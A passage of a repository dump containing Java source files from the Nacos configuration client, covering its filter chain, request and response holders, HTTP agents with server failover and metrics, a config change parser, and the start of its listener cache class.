configFilters = ServiceLoader.load(IConfigFilter.class);\n        for (IConfigFilter configFilter : configFilters) {\n            addFilter(configFilter);\n        }\n    }\n    \n    /**\n     * Add filter.\n     *\n     * @param filter filter\n     * @return this\n     */\n    public synchronized ConfigFilterChainManager addFilter(IConfigFilter filter) {\n        // init\n        filter.init(this.initProperty);\n        // ordered by order value\n        int i = 0;\n        while (i < this.filters.size()) {\n            IConfigFilter currentValue = this.filters.get(i);\n            if (currentValue.getFilterName().equals(filter.getFilterName())) {\n                break;\n            }\n            if (filter.getOrder() >= currentValue.getOrder() && i < this.filters.size()) {\n                i++;\n            } else {\n                this.filters.add(i, filter);\n                break;\n            }\n        }\n        \n        if (i == this.filters.size()) {\n            this.filters.add(i, filter);\n        }\n        return this;\n    }\n    \n    @Override\n    public void doFilter(IConfigRequest request, IConfigResponse response) throws NacosException {\n        new VirtualFilterChain(this.filters).doFilter(request, response);\n    }\n\n    private static class VirtualFilterChain implements IConfigFilterChain {\n        \n        private final List<? extends IConfigFilter> additionalFilters;\n        \n        private int currentPosition = 0;\n        \n        public VirtualFilterChain(List<? extends IConfigFilter> additionalFilters) {\n            this.additionalFilters = additionalFilters;\n        }\n        \n        @Override\n        public void doFilter(final IConfigRequest request, final IConfigResponse response) throws NacosException {\n            if (this.currentPosition != this.additionalFilters.size()) {\n                this.currentPosition++;\n                IConfigFilter nextFilter = this.additionalFilters.get(this.currentPosition - 1);\n                nextFilter.doFilter(request, response, this);\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/filter/impl/ConfigRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.CONTENT;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.DATA_ID;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.ENCRYPTED_DATA_KEY;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.GROUP;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.TENANT;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.TYPE;\n\n/**\n * Config Request.\n *\n * @author Nacos\n */\npublic class ConfigRequest implements IConfigRequest {\n    \n    private final Map<String, Object> param = new HashMap<>();\n    \n    private final IConfigContext configContext = new ConfigContext();\n    \n    public String getTenant() {\n        return (String) param.get(TENANT);\n    }\n    \n    public void setTenant(String tenant) {\n        param.put(TENANT, tenant);\n    }\n    \n    public String getDataId() {\n        return (String) param.get(DATA_ID);\n    }\n    \n    public void setDataId(String dataId) {\n        param.put(DATA_ID, dataId);\n    }\n    \n    public String getGroup() {\n        return (String) param.get(GROUP);\n    }\n    \n    public void setGroup(String group) {\n        param.put(GROUP, group);\n    }\n    \n    public String getContent() {\n        return (String) param.get(CONTENT);\n    }\n    \n    public void setContent(String content) {\n        param.put(CONTENT, content);\n    }\n    \n    public String getType() {\n        return (String) param.get(TYPE);\n    }\n    \n    public void setType(String type) {\n        param.put(TYPE, type);\n    }\n    \n    public String getEncryptedDataKey() {\n        return (String) param.get(ENCRYPTED_DATA_KEY);\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        param.put(ENCRYPTED_DATA_KEY, encryptedDataKey);\n    }\n    \n    @Override\n    public Object getParameter(String key) {\n        return param.get(key);\n    }\n    \n    @Override\n    public void putParameter(String key, Object value) {\n        param.put(key, value);\n    }\n    \n    @Override\n    public IConfigContext getConfigContext() {\n        return configContext;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/filter/impl/ConfigResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.CONFIG_TYPE;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.CONTENT;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.DATA_ID;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.ENCRYPTED_DATA_KEY;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.GROUP;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.MD5;\nimport static com.alibaba.nacos.client.config.common.ConfigConstants.TENANT;\n\n/**\n * Config Response.\n *\n * @author Nacos\n */\npublic class ConfigResponse implements IConfigResponse {\n    \n    private final Map<String, Object> param = new HashMap<>();\n    \n    private final IConfigContext configContext = new ConfigContext();\n    \n    public String getTenant() {\n        return (String) param.get(TENANT);\n    }\n    \n    public void setTenant(String tenant) {\n        param.put(TENANT, tenant);\n    }\n    \n    public String getDataId() {\n        return (String) param.get(DATA_ID);\n    }\n    \n    public void setDataId(String dataId) {\n        param.put(DATA_ID, dataId);\n    }\n    \n    public String getGroup() {\n        return (String) param.get(GROUP);\n    }\n    \n    public void setGroup(String group) {\n        param.put(GROUP, group);\n    }\n    \n    public String getContent() {\n        return (String) param.get(CONTENT);\n    }\n    \n    public void setContent(String content) {\n        param.put(CONTENT, content);\n    }\n    \n    public String getConfigType() {\n        return (String) param.get(CONFIG_TYPE);\n    }\n    \n    public void setConfigType(String configType) {\n        param.put(CONFIG_TYPE, configType);\n    }\n    \n    public String getEncryptedDataKey() {\n        return (String) param.get(ENCRYPTED_DATA_KEY);\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        param.put(ENCRYPTED_DATA_KEY, encryptedDataKey);\n    }\n    \n    /**\n     * Get MD5 hash of the config content.\n     *\n     * @return MD5 hash string\n     * @since 3.0\n     */\n    public String getMd5() {\n        return (String) param.get(MD5);\n    }\n    \n    /**\n     * Set MD5 hash of the config content.\n     *\n     * @param md5 MD5 hash string\n     * @since 3.0\n     */\n    public void setMd5(String md5) {\n        param.put(MD5, md5);\n    }\n    \n    @Override\n    public Object getParameter(String key) {\n        return param.get(key);\n    }\n    \n    @Override\n    public void putParameter(String key, Object value) {\n        param.put(key, value);\n    }\n    \n    @Override\n    public IConfigContext getConfigContext() {\n        return configContext;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/http/HttpAgent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\n\nimport java.util.Map;\n\n/**\n * HttpAgent.\n *\n * @author Nacos\n */\npublic interface HttpAgent extends Closeable {\n    \n    /**\n     * start to get nacos ip list.\n     *\n     * @throws NacosException on get ip list error.\n     */\n    void start() throws NacosException;\n    \n    /**\n     * invoke http get method.\n     *\n     * @param path          http path\n     * @param headers       http headers\n     * @param paramValues   http paramValues http\n     * @param encoding      http encode\n     * @param readTimeoutMs http timeout\n     * @return HttpResult http response\n     * @throws Exception If an input or output exception occurred\n     */\n    \n    HttpRestResult<String> httpGet(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encoding, long readTimeoutMs) throws Exception;\n    \n    /**\n     * invoke http post method.\n     *\n     * @param path          http path\n     * @param headers       http headers\n     * @param paramValues   http paramValues http\n     * @param encoding      http encode\n     * @param readTimeoutMs http timeout\n     * @return HttpResult http response\n     * @throws Exception If an input or output exception occurred\n     */\n    HttpRestResult<String> httpPost(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encoding, long readTimeoutMs) throws Exception;\n    \n    /**\n     * invoke http delete method.\n     *\n     * @param path          http path\n     * @param headers       http headers\n     * @param paramValues   http paramValues http\n     * @param encoding      http encode\n     * @param readTimeoutMs http timeout\n     * @return HttpResult http response\n     * @throws Exception If an input or output exception occurred\n     */\n    HttpRestResult<String> httpDelete(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encoding, long readTimeoutMs) throws Exception;\n    \n    /**\n     * get name.\n     *\n     * @return String\n     */\n    String getName();\n    \n    /**\n     * get namespace.\n     *\n     * @return String\n     */\n    String getNamespace();\n    \n    /**\n     * get tenant.\n     *\n     * @return String\n     */\n    String getTenant();\n    \n    /**\n     * get encode.\n     *\n     * @return String\n     */\n    String getEncode();\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/http/MetricsHttpAgent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport io.prometheus.client.Histogram;\n\nimport java.util.Date;\nimport java.util.Map;\n\n/**\n * MetricsHttpAgent.\n *\n * @author Nacos\n */\npublic class MetricsHttpAgent implements HttpAgent {\n    \n    private static final String GET = \"GET\";\n    \n    private static final String POST = \"POST\";\n    \n    private static final String DELETE = \"DELETE\";\n    \n    private static final String DEFAULT_CODE = \"NA\";\n    \n    private final HttpAgent httpAgent;\n    \n    public MetricsHttpAgent(HttpAgent httpAgent) {\n        this.httpAgent = httpAgent;\n    }\n\n    @Override\n    public void start() throws NacosException {\n        httpAgent.start();\n    }\n    \n    @Override\n    public HttpRestResult<String> httpGet(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        Date start = new Date();\n        Histogram.Child histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, DEFAULT_CODE);\n        HttpRestResult<String> result;\n        try {\n            result = httpAgent.httpGet(path, headers, paramValues, encode, readTimeoutMs);\n            histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, String.valueOf(result.getCode()));\n        } finally {\n            histogram.observe(System.currentTimeMillis() - start.getTime());\n        }\n        \n        return result;\n    }\n    \n    @Override\n    public HttpRestResult<String> httpPost(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        Date start = new Date();\n        Histogram.Child histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, DEFAULT_CODE);\n        HttpRestResult<String> result;\n        try {\n            result = httpAgent.httpPost(path, headers, paramValues, encode, readTimeoutMs);\n            histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, String.valueOf(result.getCode()));\n        } finally {\n            histogram.observe(System.currentTimeMillis() - start.getTime());\n        }\n        \n        return result;\n    }\n    \n    @Override\n    public HttpRestResult<String> httpDelete(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        Date start = new Date();\n        Histogram.Child histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, DEFAULT_CODE);\n        HttpRestResult<String> result;\n        try {\n            result = httpAgent.httpDelete(path, headers, paramValues, encode, readTimeoutMs);\n            histogram = MetricsMonitor.getConfigRequestMonitor(GET, path, String.valueOf(result.getCode()));\n        } finally {\n            histogram.observe(System.currentTimeMillis() - start.getTime());\n        }\n        \n        return result;\n    }\n    \n    @Override\n    public String getName() {\n        return httpAgent.getName();\n    }\n    \n    @Override\n    public String getNamespace() {\n        return httpAgent.getNamespace();\n    }\n    \n    @Override\n    public String getTenant() {\n        return httpAgent.getTenant();\n    }\n    \n    @Override\n    public String getEncode() {\n        return httpAgent.getEncode();\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        httpAgent.shutdown();\n    }\n}\n\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/http/ServerHttpAgent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.impl.ConfigHttpClientManager;\nimport com.alibaba.nacos.client.config.impl.ConfigServerListManager;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport org.slf4j.Logger;\n\nimport java.net.ConnectException;\nimport java.net.HttpURLConnection;\nimport java.net.SocketTimeoutException;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * Server Agent.\n *\n * @author water.lyl\n */\npublic class ServerHttpAgent implements HttpAgent {\n    \n    private static final Logger LOGGER = LogUtils.logger(ServerHttpAgent.class);\n    \n    private final NacosRestTemplate nacosRestTemplate = ConfigHttpClientManager.getInstance().getNacosRestTemplate();\n    \n    private String encode;\n    \n    private int maxRetry = 3;\n    \n    final ConfigServerListManager serverListMgr;\n    \n    @Override\n    public HttpRestResult<String> httpGet(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        final long endTime = System.currentTimeMillis() + readTimeoutMs;\n        String currentServerAddr = serverListMgr.getCurrentServer();\n        int maxRetry = this.maxRetry;\n        HttpClientConfig httpConfig = HttpClientConfig.builder()\n                .setReadTimeOutMillis(Long.valueOf(readTimeoutMs).intValue())\n                .setConTimeOutMillis(ConfigHttpClientManager.getInstance().getConnectTimeoutOrDefault(100)).build();\n        do {\n            try {\n                Header newHeaders = Header.newInstance();\n                if (headers != null) {\n                    newHeaders.addAll(headers);\n                }\n                Query query = Query.newInstance().initParams(paramValues);\n                HttpRestResult<String> result = nacosRestTemplate.get(getUrl(currentServerAddr, path), httpConfig,\n                        newHeaders, query, String.class);\n                if (isFail(result)) {\n                    LOGGER.error(\"[NACOS ConnectException] currentServerAddr: {}, httpCode: {}\",\n                            serverListMgr.getCurrentServer(), result.getCode());\n                } else {\n                    // Update the currently available server addr\n                    serverListMgr.updateCurrentServerAddr(currentServerAddr);\n                    return result;\n                }\n            } catch (ConnectException connectException) {\n                LOGGER.error(\"[NACOS ConnectException httpGet] currentServerAddr:{}, err : {}\",\n                        serverListMgr.getCurrentServer(), connectException.getMessage());\n            } catch (SocketTimeoutException socketTimeoutException) {\n                LOGGER.error(\"[NACOS SocketTimeoutException httpGet] currentServerAddr:{}， err : {}\",\n                        serverListMgr.getCurrentServer(), socketTimeoutException.getMessage());\n            } catch (Exception ex) {\n                LOGGER.error(\"[NACOS Exception httpGet] currentServerAddr: \" + serverListMgr.getCurrentServer(),\n                        ex);\n                throw ex;\n            }\n            \n            if (serverListMgr.getIterator().hasNext()) {\n                currentServerAddr = serverListMgr.getIterator().next();\n            } else {\n                maxRetry--;\n                if (maxRetry < 0) {\n                    throw new ConnectException(\n                            \"[NACOS HTTP-GET] The maximum number of tolerable server reconnection errors has been reached\");\n                }\n                serverListMgr.refreshCurrentServerAddr();\n            }\n            \n        } while (System.currentTimeMillis() <= endTime);\n        \n        LOGGER.error(\"no available server\");\n        throw new ConnectException(\"no available server\");\n    }\n    \n    @Override\n    public HttpRestResult<String> httpPost(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        final long endTime = System.currentTimeMillis() + readTimeoutMs;\n        String currentServerAddr = serverListMgr.getCurrentServer();\n        int maxRetry = this.maxRetry;\n        HttpClientConfig httpConfig = HttpClientConfig.builder()\n                .setReadTimeOutMillis(Long.valueOf(readTimeoutMs).intValue())\n                .setConTimeOutMillis(ConfigHttpClientManager.getInstance().getConnectTimeoutOrDefault(3000)).build();\n        do {\n            try {\n                Header newHeaders = Header.newInstance();\n                if (headers != null) {\n                    newHeaders.addAll(headers);\n                }\n                HttpRestResult<String> result = nacosRestTemplate.postForm(getUrl(currentServerAddr, path), httpConfig,\n                        newHeaders, paramValues, String.class);\n                \n                if (isFail(result)) {\n                    LOGGER.error(\"[NACOS ConnectException] currentServerAddr: {}, httpCode: {}\", currentServerAddr,\n                            result.getCode());\n                } else {\n                    // Update the currently available server addr\n                    serverListMgr.updateCurrentServerAddr(currentServerAddr);\n                    return result;\n                }\n            } catch (ConnectException connectException) {\n                LOGGER.error(\"[NACOS ConnectException httpPost] currentServerAddr: {}, err : {}\", currentServerAddr,\n                        connectException.getMessage());\n            } catch (SocketTimeoutException socketTimeoutException) {\n                LOGGER.error(\"[NACOS SocketTimeoutException httpPost] currentServerAddr: {}， err : {}\",\n                        currentServerAddr, socketTimeoutException.getMessage());\n            } catch (Exception ex) {\n                LOGGER.error(\"[NACOS Exception httpPost] currentServerAddr: \" + currentServerAddr, ex);\n                throw ex;\n            }\n            \n            if (serverListMgr.getIterator().hasNext()) {\n                currentServerAddr = serverListMgr.getIterator().next();\n            } else {\n                maxRetry--;\n                if (maxRetry < 0) {\n                    throw new ConnectException(\n                            \"[NACOS HTTP-POST] The maximum number of tolerable server reconnection errors has been reached\");\n                }\n                serverListMgr.refreshCurrentServerAddr();\n            }\n            \n        } while (System.currentTimeMillis() <= endTime);\n        \n        LOGGER.error(\"no available server, currentServerAddr : {}\", currentServerAddr);\n        throw new ConnectException(\"no available server, currentServerAddr : \" + currentServerAddr);\n    }\n    \n    @Override\n    public HttpRestResult<String> httpDelete(String path, Map<String, String> headers, Map<String, String> paramValues,\n            String encode, long readTimeoutMs) throws Exception {\n        final long endTime = System.currentTimeMillis() + readTimeoutMs;\n        String currentServerAddr = serverListMgr.getCurrentServer();\n        int maxRetry = this.maxRetry;\n        HttpClientConfig httpConfig = HttpClientConfig.builder()\n                .setReadTimeOutMillis(Long.valueOf(readTimeoutMs).intValue())\n                .setConTimeOutMillis(ConfigHttpClientManager.getInstance().getConnectTimeoutOrDefault(100)).build();\n        do {\n            try {\n                Header newHeaders = Header.newInstance();\n                if (headers != null) {\n                    newHeaders.addAll(headers);\n                }\n                Query query = Query.newInstance().initParams(paramValues);\n                HttpRestResult<String> result = nacosRestTemplate.delete(getUrl(currentServerAddr, path), httpConfig,\n                        newHeaders, query, String.class);\n                if (isFail(result)) {\n                    LOGGER.error(\"[NACOS ConnectException] currentServerAddr: {}, httpCode: {}\",\n                            serverListMgr.getCurrentServer(), result.getCode());\n                } else {\n                    // Update the currently available server addr\n                    serverListMgr.updateCurrentServerAddr(currentServerAddr);\n                    return result;\n                }\n            } catch (ConnectException connectException) {\n                LOGGER.error(\"[NACOS ConnectException httpDelete] currentServerAddr:{}, err : {}\",\n                        serverListMgr.getCurrentServer(), ExceptionUtil.getStackTrace(connectException));\n            } catch (SocketTimeoutException stoe) {\n                LOGGER.error(\"[NACOS SocketTimeoutException httpDelete] currentServerAddr:{}， err : {}\",\n                        serverListMgr.getCurrentServer(), ExceptionUtil.getStackTrace(stoe));\n            } catch (Exception ex) {\n                LOGGER.error(\"[NACOS Exception httpDelete] currentServerAddr: \" + serverListMgr.getCurrentServer(),\n                        ex);\n                throw ex;\n            }\n            \n            if (serverListMgr.getIterator().hasNext()) {\n                currentServerAddr = serverListMgr.getIterator().next();\n            } else {\n                maxRetry--;\n                if (maxRetry < 0) {\n                    throw new ConnectException(\n                            \"[NACOS HTTP-DELETE] The maximum number of tolerable server reconnection errors has been reached\");\n                }\n                serverListMgr.refreshCurrentServerAddr();\n            }\n            \n        } while (System.currentTimeMillis() <= endTime);\n        \n        LOGGER.error(\"no available server\");\n        throw new ConnectException(\"no available server\");\n    }\n    \n    private String getUrl(String serverAddr, String relativePath) {\n        String contextPath = serverListMgr.getContextPath();\n        return serverAddr + ContextPathUtil.normalizeContextPath(contextPath) + relativePath;\n    }\n    \n    private boolean isFail(HttpRestResult<String> result) {\n        return result.getCode() == HttpURLConnection.HTTP_INTERNAL_ERROR\n                || result.getCode() == HttpURLConnection.HTTP_BAD_GATEWAY\n                || result.getCode() == HttpURLConnection.HTTP_UNAVAILABLE\n                || result.getCode() == HttpURLConnection.HTTP_NOT_FOUND;\n    }\n    \n    public static String getAppname() {\n        return AppNameUtils.getAppName();\n    }\n    \n    public ServerHttpAgent(ConfigServerListManager mgr) {\n        this.serverListMgr = mgr;\n    }\n    \n    public ServerHttpAgent(ConfigServerListManager mgr, Properties properties) {\n        this.serverListMgr = mgr;\n    }\n    \n    public ServerHttpAgent(Properties properties) throws NacosException {\n        this.serverListMgr = new ConfigServerListManager(NacosClientProperties.PROTOTYPE.derive(properties));\n    }\n    \n    @Override\n    public void start() throws NacosException {\n        serverListMgr.start();\n    }\n    \n    @Override\n    public String getName() {\n        return serverListMgr.getName();\n    }\n    \n    @Override\n    public String getNamespace() {\n        return serverListMgr.getNamespace();\n    }\n    \n    @Override\n    public String getTenant() {\n        return serverListMgr.getTenant();\n    }\n    \n    @Override\n    public String getEncode() {\n        return encode;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        LOGGER.info(\"{} do shutdown begin\", className);\n        ConfigHttpClientManager.getInstance().shutdown();\n        serverListMgr.shutdown();\n        LOGGER.info(\"{} do shutdown stop\", className);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/AbstractConfigChangeParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.api.config.PropertyChangeType;\nimport com.alibaba.nacos.api.config.listener.ConfigChangeParser;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * AbstractConfigChangeParser.\n *\n * @author rushsky518\n */\npublic abstract class AbstractConfigChangeParser implements ConfigChangeParser {\n    \n    private final String configType;\n    \n    public AbstractConfigChangeParser(String configType) {\n        this.configType = configType;\n    }\n    \n    @Override\n    public boolean isResponsibleFor(String type) {\n        return this.configType.equalsIgnoreCase(type);\n    }\n    \n    protected Map<String, ConfigChangeItem> filterChangeData(Map oldMap, Map newMap) {\n        Map<String, ConfigChangeItem> result = new HashMap<>(16);\n        for (Map.Entry<String, Object> e : (Iterable<Map.Entry<String, Object>>) oldMap.entrySet()) {\n            ConfigChangeItem cci;\n            if (newMap.containsKey(e.getKey())) {\n                if (e.getValue().equals(newMap.get(e.getKey()))) {\n                    continue;\n                }\n                cci = new ConfigChangeItem(e.getKey(), e.getValue().toString(), newMap.get(e.getKey()).toString());\n                cci.setType(PropertyChangeType.MODIFIED);\n            } else {\n                cci = new ConfigChangeItem(e.getKey(), e.getValue().toString(), null);\n                cci.setType(PropertyChangeType.DELETED);\n            }\n        \n            result.put(e.getKey(), cci);\n        }\n    \n        for (Map.Entry<String, Object> e : (Iterable<Map.Entry<String, Object>>) newMap.entrySet()) {\n            if (!oldMap.containsKey(e.getKey())) {\n                ConfigChangeItem cci = new ConfigChangeItem(e.getKey(), null, e.getValue().toString());\n                cci.setType(PropertyChangeType.ADDED);\n                result.put(e.getKey(), cci);\n            }\n        }\n        \n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/CacheData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigChangeEvent;\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.api.config.listener.AbstractSharedListener;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.client.utils.TenantUtil;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.NumberUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Listener Management.\n *\n * @author Nacos\n */\npublic class CacheData {\n    \n    private static final Logger LOGGER = LogUtils.logger(CacheData.class);\n    \n    private static final long DEFAULT_NOTIF_WARN_TIMEOUTS = 60000;\n    \n    private static long notifyWarnTimeout = DEFAULT_NOTIF_WARN_TIMEOUTS;\n    \n    static {\n        initNotifyWarnTimeout();\n    }\n    \n    static long initNotifyWarnTimeout() {\n        String notifyTimeouts = System.getProperty(\"nacos.listener.notify.warn.timeout\");\n        if (StringUtils.isNotBlank(notifyTimeouts) && NumberUtils.isDigits(notifyTimeouts)) {\n            notifyWarnTimeout = Long.parseLong(notifyTimeouts);\n            LOGGER.info(\"config listener notify warn timeout millis is set to {}\", notifyWarnTimeout);\n        } else {\n            LOGGER.info(\"config listener notify warn timeout millis use default {} millis \",\n                    DEFAULT_NOTIF_WARN_TIMEOUTS);\n            notifyWarnTimeout = DEFAULT_NOTIF_WARN_TIMEOUTS;\n        }\n        return notifyWarnTimeout;\n    }\n\n    /**\n     * double check lock initialization of scheduledExecutor.\n     */\n    static volatile ScheduledThreadPoolExecutor scheduledExecutor;\n    \n    static ScheduledThreadPoolExecutor getNotifyBlockMonitor() {\n        if (scheduledExecutor == null) {\n            synchronized (CacheData.class) {\n                if (scheduledExecutor == null) {\n                    scheduledExecutor = new ScheduledThreadPoolExecutor(1,\n                            new NameThreadFactory(\"com.alibaba.nacos.client.notify.block.monitor\"),\n                            new ThreadPoolExecutor.DiscardPolicy());\n                    scheduledExecutor.setRemoveOnCancelPolicy(true);\n                    // it will shut down when jvm exit.\n                    ThreadUtils.addShutdownHook(CacheData::shutdownScheduledExecutor);\n                }\n            }\n        }\n        return scheduledExecutor;\n    }\n\n    /**\n     * 